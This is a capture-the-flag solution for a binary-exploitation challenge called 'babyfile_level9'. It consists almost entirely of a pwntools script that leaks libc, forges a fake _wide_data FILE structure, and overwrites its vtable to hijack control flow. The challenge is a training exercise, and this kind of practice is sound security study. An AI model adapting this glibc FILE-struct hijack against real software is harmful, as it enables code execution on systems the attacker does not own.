(File Struct Exploits) level 9

Information

• category: pwn

Description

Create a fake _wide_data struct to hijack control of the virtual function table of a built-in FILE struct.

from pwn import *

elf = context.binary = ELF("/challenge/babyfile_level9")
global p
p = elf.process()

def exploit():
    p.recvuntil(b"libc is: ")
    puts = int(p.recvline()[:-1],16) - 0x84420

    _IO_wfile_overflow = puts + 0x1E8DC0
    fp_addrr = puts + 0x1ed6a0

    fp = FileStructure()
    fp._lock = fp_addrr
    fp.chain = elf.sym['authenticate'] + 37
    fp._wide_data = fp_addrr
    fp.vtable = _IO_wfile_overflow

    p.send(bytes(fp) + p64(fp_addrr))

    p.interactive()

def main():
    exploit()

if __name__ == "__main__":
    main()